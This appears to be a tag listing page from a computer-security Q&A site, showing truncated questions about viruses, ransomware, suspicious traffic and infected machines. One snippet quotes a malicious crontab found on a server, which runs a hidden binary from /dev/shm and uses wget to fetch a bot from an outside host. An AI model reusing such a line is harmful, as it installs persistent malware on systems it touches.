A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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Cryptolocker virus removal

I am facing cryptolocker virus problem, I have tried decryptcryptolocker website but it did not work. In the below link you will find an example encrypted file in my pc. ...
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3answers
68 views

Removing a Redirect Virus from Fedora Linux

Despite several attempts listed below certain websites are getting redirected to a certain ad website automatically, out of the blue on linux. When some website starts redirecting to this ad website ...
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1answer
58 views

Clicked link on fake email which appeared to be from friend [duplicate]

I receieved an e-mail which at first glance appeared to be from a friend, I clicked on the link provided without thinking as we would often exchance links to sites. The link went nowhere i.e page not ...
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1answer
39 views

Virus Folder named “Photo”

this is my first time on this web site. I want to ask questions regarding virus that is in my laptop. If its not related to this site, please guide to site where i can get my solution. In my laptop i ...
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1answer
87 views

Lifecycles of a computer virus

According to what I read there are four phases: - Dormant phase - Propagation phase - Triggering phase - Execution phase I however am having trouble finding a chronological order in how these events ...
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1answer
48 views

Old e-mail text types itself back into PC later by itself? [closed]

Occasionally, I'll notice my Win7 PC is typing in text by itself. When I open Notepad leave it, the text being typed in is a snippet of text from an e-mail that I wrote and sent months ago to a friend ...
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2answers
1k views

Based on these email headers, where is this virus coming from?

I'm seeing a virus in our network with some strange headers. Sometimes they are coming (sourced) from a netscaler VIP, other times they seem to come from an Exchange hub server. How do I determine ...
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2answers
66 views

Viruses From Email Attachments

My company just got a worm. The specific one is beside the point, but I linked a couple pages that I think describe the worm / virus below. We're getting lots of emails to Outlook asking us to open ...
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2answers
40 views

“Threat: WMA:Wimad [Susp]” on .avi file, possible to remove threat and keep file?

I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched): Severity: Medium Threat: WMA: Wimad ...
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1answer
39 views

Securely erasing USB flash drives from a bootable media

My question refers to securely erasing viruses from the usb flash drives, including the MBR, in case there is one. I was thinking of booting with Linux from a closed CD-R (a cd rather than USB f.d. ...
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0answers
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how to edit windows registry so it NEVER looks on a usb drive for its driver (or at least asks first if a driver is found) [migrated]

I'd forgive them for this "feature" if the usb standard had been created BEFORE viruses had become prevalent.
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7answers
57k views

How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company ...
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1answer
90 views

Is it possible to get malware through an incoming video/audio stream? (e.g. Omegle, Skype etc.)

just a quick question. Is it possible for incoming video/audio streams to contain malware etc. through exploits in the transfer of the video/audio? Thanks in advance.
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1answer
95 views

Trojan/Worm Cridex Issue

Currently we are receiving a surge in machines that are being attacked with Cridex. We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is ...
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3answers
2k views

Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
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4answers
5k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
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5answers
2k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
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2answers
2k views

How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
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1answer
332 views

CloudFlare - prompted for “attention required”

I am getting a CloudFlare - attention required / security check prompt on most of the sites I visit through my Macbook running OS X Yosemite, these sites work perfectly on other devices (such as iPad, ...
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4answers
222 views

What are these URLs in my browsers?

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome). ...
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1answer
126 views

Is google.com/webhp malicious?

Lately, I've noticed the addition of "/webhp" in the url of Google searches along with some additional variables, "sourceid", "rlz", and a few others. Together, they make a URL in the form of ...
3
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1answer
230 views

What happened with badBios [duplicate]

Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before. Experts agreed that ...
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7answers
23k views

Scanning for files than have been encrypted by CryptoLocker

I am just asking in case someone has already done the analysis. A customer has a large set of network drives that were mapped to a CryptoLocker infected machine. The infection itself has been treated. ...
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2answers
83 views

Help understanding malware infection

I'm kind of a newbie to security and need help fully understanding how I would infect myself inadvertently. Let's say I was to download a .zip file attached to an email and I unzipped the contents. ...
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3answers
217 views

Malware stole an executable file on my computer? Seems unlikely

If you don't want to read all of the details, skip to the bottom; I'll make a summary. I created a computer program as a proof of concept (I threw it together in 12 hours, so I wrote it in Visual ...
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7answers
1k views

Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a ...
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My computer hacked? tcpdump show a connection to an ALLOCATED UNSPECIFIED ip address

13:06:05.345111 IP 192.168.1.101.36218 > 157.55.130.174.40033: Flags [.], ack 162, win 237, options [nop,nop,TS val 688796 ecr 596714815], length 0 This IP address is Allocated Unspecified on ...
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1answer
121 views

I ran a virus on a PC. What should be the next steps?

I wanted to remove a probably malicious executable, but instead inadvertently double-clicked on it while using an account with administrative privileges. Nothing visible happened during a few seconds, ...
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1answer
57 views

jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
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1answer
87 views

Virus (or Trojan) in Android

Definition of virus is (from Wikipedia): A computer virus is a malware program that, when executed, replicates by inserting copies of itself (possibly modified) into other computer programs, data ...
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2answers
63 views

Can my Mac be affected without running the malware?

Can my Mac be affected by malware without running it? For instance, if I download a random file, but don't open it, can it infect my computer?
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2answers
425 views

Possible trojan/virus in memory?

I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
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2answers
121 views

How can I recover files encrypted by Android ransomware?

My Samsung Galaxy Note II was infected by a virus called the "FBI virus." Fortunately, I've managed to remove the malware but my problem now is that all my files have been encrypted. How can I ...
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Can an compressed virus still do any harm to an OS [closed]

Let's say you have a piece of malware either as a standalone binary or hidden within a crafted image (two distinct cases). If I compress the standalone binary, can its mere presence as a compressed ...
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1answer
52 views

using multiple Firefox profiles to increase security

I am wondering whether it would increase security in any significant way, if I would use two separate Firefox profiles, one for normal browsing and the other for private/secure websites, such as my ...
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3answers
2k views

Statistics about malware targeting different OS

Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?
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1answer
66 views

Am I safe to see a thumbnail of a downloaded images on Ubuntu 14.04?

I have downloaded an image that someone has uploaded to my website with a public upload form. My intention was to copy the file in a virtual machine and see the image from there; unfortunately, on ...
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0answers
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Removing malware which is creating temp file and modifying network traffic [duplicate]

I am on OSX 10.9.2, please note I have included several URLs in my post, this is not spam this is due to the nature of the malware. I have just discovered I have malware on my computer after noticing ...
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1answer
125 views

Extremely suspicious UDP network traffic when idle [closed]

My computer has been using about 7Mbps when idle, it does the same thing even I am playing games and such. This is the Wireshark capture ...
21
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3answers
5k views

Are popular porn sites more likely to be infected with malware?

I'm trying to help my friend understand this because he believes that since a site is very popular, that it's less likely to infect its viewers because of its security! Is a popular site less likely ...
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2answers
257 views

Which Antivirus Software used to remove virus Rootkit.Sirefef.Gen?

My System has affect Rootkit.Sirefef.Gen Virus. So i want to know which antivirus software is used to remove Rootkit.Sirefef.Gen virus file.
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232 views

How a trojan allows attacker to connect to remote computer behind a router

According to this article on Wikipedia, a trojan horse can allow a remote connection by opening a random port if it is able to bypass the firewall. I'm not much of an expert of routers and Network ...
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1answer
154 views

How to execute an exploit without user interaction?

Is there an existing exploit, virus or malware that doesn't need any user interaction? In metasploit for example. No link to clicked, no pdf to open , no vba or exe to execute by the victim.
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3answers
3k views

How can I tell if I have the citadel virus without downloading an antivirus?

I recently received an e-mail from Virgin Media indicating that I might have the Citadel virus. It obviously sounds like a fake e-mail, but I am almost certain it is genuine, as they had my name and ...
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444 views

How to search for evidence of Camfecting (webcam hacking)?

I'm worried about camfecting (webcam hacking). The camera light on my mac (running OSX) is not on, but it isn't hard wired so that doesn't say a lot. I've ran a virus scan but no signs. Now my idea ...
15
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3answers
5k views

What does this javascript file do? Is this a virus?

While searching on Google I found a website that shows one set of content to the Google Bot and an other to users (by redirecting to a new domain), and also a very suspicious Javascript file. Maybe ...
13
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3answers
5k views

Can Cryptolocker (Or Other Ransomware) Encrypt Files That Are Already Encrypted?

If you have already encrypted files, are they still vulnerable to being encrypted a second time by a program like Cryptolocker, or would this protect them?
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99 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
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75 views

Suspicious 2 page, no image Word Docx has 1.7 MB

Can a word document contain virus or harm you in any way? Someone sent me a word docx that has only 2 pages, no image but it's 1.7 MB big. If I use save as to save it with a different name but still ...